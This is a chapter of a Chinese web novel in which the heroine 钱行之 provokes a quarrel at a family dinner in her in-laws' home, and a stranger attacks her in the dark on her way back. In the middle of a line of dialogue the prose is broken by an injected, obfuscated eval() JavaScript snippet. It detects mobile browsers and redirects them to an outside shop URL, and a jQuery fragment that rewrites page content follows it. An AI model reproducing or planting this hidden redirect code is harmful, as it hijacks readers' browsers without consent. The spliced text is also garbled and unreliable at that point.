37. 情债
作品:《她做奸佞那些年》 永安四十三年六月十八,温贵嫔的春芳殿大修,随之而来的便是流言纷纷。
有劝诫君安彻莫要过分宠爱妾室的,有指责君福应得宠忘本的,还有零星暗讽钱行之包藏祸心、扰乱朝纲的,几路嚼舌根的人各怀鬼胎,只有城郊的流民当真愤怒至极。
且不说南川好不容易灾后重建成功,春芳殿如今奢华大修劳民伤财,钱行之此人还出身南川,竟去怂恿已被压下的祸事,当真是罪大恶极。
银檀这些时日听辱骂钱行之的话听得耳朵都快起茧子,他虽有心挽救一点钱行之的名声,实在是难敌众口,说多了反倒要失了民心。
多日未见钱行之,银檀实在放心不下,温习了今日的功课便回了钱府。
正门口恰巧遇上了钱行之与梁鹭鸣。
“银檀?”钱行之有些讶异,“前些时候正打算去瞧你,最近怎么样?”
“大人,”银檀犹豫半晌,还是当着梁鹭鸣的面讲了出来,“这两日城郊的流民都对大人意见很大,大人近日出门要当心。”
钱行之叹气:“我知道了,既然这两日风声紧,有事我会叫元墨传话,暂且不要来钱府了,你也当心。”
闲谈两三句后银檀便告退,梁鹭鸣似乎对钱行之的坏名声持乐观态度:“最好叫他们都去迁怒梁家,别来找你麻烦的好。”
钱行之哭笑不得:“你从前在梁家究竟受了什么委屈?”
梁鹭鸣脸色霎时便灰暗起来:“若有机会,我会说的。”
钱行之忙找讨她欢心的话说:“咱们这不是正准备回去替你报仇么?打起精神来,一会儿可得看乐子。”
迎接几人的首先就是梁世安的冷脸。
也不怪他,这婚事在君安彻的操持下风光了没几日,钱行之就连回门都给忘了,梁鹭鸣如今出嫁了有钱行之撑腰,竟也对梁家爱答不理。这些天,在梁世安耳边嚼舌根的人实在是太多,听得叫他头疼,偏偏上下朝的时候钱行之也不表歉意,叫他好生丢面。
“钱大人大驾光临,有何贵干呐?”
钱行之虚情假意地圆了话,梁鹭鸣又卖了些乖,梁世安这才兴致缺缺地请他们进门。
先是去探望了梁鹭鸣的祖母,瞧着病势平稳,不像前头说得那般骇人,仿佛下一秒就魂归故里一般。
紧跟着梁世安便开始下逐客令:“梁府近日诸事繁杂,也未备什么好酒好菜招待,恐不能留二位吃饭了。”
钱行之正是来胡闹的,自然要死皮赖脸留下:“祖父这可是见外了,既是回家,哪里有挑三拣四的道理,我与鹭鸣都不会嫌弃的。”
这是什么话?!梁世安气得胡子都翘起来了,他一向清高自持,一时竟骂不出话:“你……”
梁鹭鸣立马夫唱妇随:“是啊祖父,我可想念家中的菜了。”
这两人厚颜无耻至极,梁世安竟没能拉下脸将他俩丢出去,真就叫他们拖着吃上了晚饭。
瞧着钱行之与梁鹭鸣两人不怀好意的坏笑,梁世安觉得自己多年不犯的头风都要发作了,为着这两人晚膳多多少少还是费了些心思,席间却沉默得很是诡异。
苏姨娘竟第一个出来说场面话:“鹭鸣可不能嫁了人就忘了规矩,前些日子你爹可为你操碎了心……”
等的就是你!钱行之笑道:“前些日子七王府与钱府来往密了些,苏姨娘是不满意七皇子还是七王妃?”
苏姨娘刚夹起来的菜又掉回碗里。这与七皇子又有什么干系?她只想着借题发挥训一训梁鹭鸣不守规矩不懂礼数,钱行之这话一时叫她无从接起。
梁鹭鸣的父亲,梁宗珅立刻便跳出来替苏姨娘撑腰:“行之啊,苏姨娘也算是长辈,教育鹭鸣是应该的。”
钱行之一面替梁鹭鸣盛汤,一面怼他:“岳丈大人是对七皇子不满,还是对七王妃不满?”
梁世安也看不下去了:“钱行之,吃了饭便闭嘴吧,在这儿牛头不对马嘴的说些什么鬼话!”
钱行之又替梁鹭鸣夹菜,瞧也不瞧一眼梁世安:“看来是祖父对七王府最是不满呐。这两日风言风语多,外头都传七皇子此次为人诟病是太子在背后做推手,祖父可得小心,莫要落人口舌。”
梁世安将筷子狠狠一摔:“钱行之!你失心疯了是不是!”
当着一大家子的面莫名其妙谈政事,还将几位长辈都怼得七窍生烟,钱行之觉得下一秒梁世安就能将她脱去瞧大夫。
钱行之的脸上写满了无辜:“晚辈这是好意提醒,诸位这是误会了。”
梁鹭鸣也被钱行之这番操作吓得冷汗直流,然而这是家宴,不必担心被人宣扬出去,梁家几位也确实被莫名其妙气得不轻,她倒真萌生出些快意。
一时间席上又陷入诡异的沉默,苏姨娘不知是不是人蠢胆子却大,被拂了面子很是不服气,硬要不知死活地找补:“钱大人究竟是替谁说话呢?咱们梁府都是指着太子殿下做事的,如今却又与七王府扯上关系,传出去不知叫人如何议论。”
这回用不着钱行之,梁世安就先开骂了:“梁宗珅!管好你的妾室!整日把这府里搞得乌烟瘴气,没丁点规矩!”
钱行之岂能错过这送上门的话茬:“苏姨娘今日可是叫晚辈涨了见识,原来梁府竟有这等人物,鹭鸣,你放心,往后钱府里绝不会有这种场面。”
这话就像是炸药引线,一瞬便点燃了这晚席,在场的通通各说各话起来,骂钱行之的占多数,骂苏姨娘是顺带。始作俑者却乐呵呵尽顾着给梁鹭鸣端茶倒水,仿佛这一切就只是她找乐子瞧。
梁世安揉着自己的脑袋:“钱行之,你今日究竟是来做什么?我将鹭鸣嫁给你,不是要你在梁府撒泼的!”
钱行之依旧一副无辜脸:“祖父这是什么话,晚辈就是陪鹭鸣回来瞧瞧。不愧是梁府,果然热闹哈。”
二人吃饱喝足闹完便麻溜地回钱府,倒是梁府一直闹腾到了后半夜。
二人坐在晃晃悠悠的马车上,不约而同为方才这荒谬地一出笑出声。
“原来你就是这么个闹法,”梁鹭鸣笑得直不起腰,“我当你有什么高明法子,原是胡言乱语来了。”
钱行之点头称是:“如此这般梁大人就是一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903322|189010||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
肚子苦水也无处倒,不过这回闹完,下回只怕是门也不让我进了。”
“多谢,”梁鹭鸣忽然语带忧伤,“从没有人叫我这样开心过。”
钱行之柔声道:“你想讲讲么?”
如何讲起呢?梁鹭鸣无奈苦笑。
这偌大的盛京,人人都道她是梁家的掌上明珠,锦衣玉食被捧在手心里长大,还出落得才貌双全,想来过着人人艳羡的完美人生。
只有梁鹭鸣自己清楚,她光鲜亮丽的外壳下藏着怎样支离破碎的躯壳。
梁府没有一个人爱她。
她的母亲将心整日挂在父亲身上,偏偏父亲的心都送给了那些莺莺燕燕。为了博取母亲的欢心,梁鹭鸣不单要琴棋书画样样精通,还要时时刻刻仔细着母亲的喜怒哀乐。
久而久之,梁鹭鸣发觉她只是在做无用功。
母亲若是欢喜,她便是争气的女儿,母亲若是不快,她便做什么都是错。后来梁鹭鸣明白,父亲只要分给母亲一抹笑意,于母亲而言便是天大的恩赐。
一个可恨、可悲又可怜的女人。
母亲对她不上心,更不必谈父亲。梁家一切都有祖父撑着,父亲大半辈子都被人诟病烂泥扶不上墙,他大约永远都会活在祖父的阴影之下。
祖母忙着心疼梁鹭鸣那几个庶出的弟弟,即便是关心她,也只是随口问问她可缺银子花。
至于祖父,一个为了权势什么都做得出来的人。
梁鹭鸣曾经真心实意敬爱过他们。
后来她下定决心,永远都不要活成他们的模样。
“都过去了,”梁鹭鸣仍旧不愿告诉钱行之,“如今我很快乐。”
钱行之附和:“不愧是咱们鹭鸣,此番心胸气度岂是常人能及!”
梁鹭鸣抬手轻轻给了钱行之一拳头:“油嘴滑舌!”
“不过,”梁鹭鸣又道,“钱行之,你真真是叫我瞧见了另一种人生。”
钱行之扶着梁鹭鸣下马车。
黑夜里一个黏糊糊的东西砸到了钱行之的身上。钱行之腹诽,难道是方才仇报得太过,梁府派人暗中跟来暴揍她?
阿素将油灯抬过来一瞧,正是一片蔫吧了的菜叶。
钱行之疑惑地揭下这叶片,还未能反应过来,很快一颗鸡蛋正中眉心。
“钱行之你这个忘恩负义的小人!”
钱行之一脑袋的问号:“我与阁下何怨何愁?”
一片菜叶直直飞进钱行之嘴中,吓得她立刻吐了菜叶闭上嘴不敢再多言。
梁鹭鸣一边替她擦脸,一边连忙叫了元墨抓人,不过一炷香的时间,元墨就将这趁夜打人的给抓了回来。
钱行之一瞧便吓一跳。居然是个女儿家!
这黑夜里本就看不真切,这姑娘又灰头土脸,实在瞧不清到底长什么样。钱行之在回想起的记忆中翻找许久也未想起这号人物,何况她来盛京也并不久,如何会与一个姑娘家闹成这般?
这姑娘突然又开口,钱行之成功听出了幽怨的声调:“当真是卑鄙无耻!亏得我等了你那样久!”

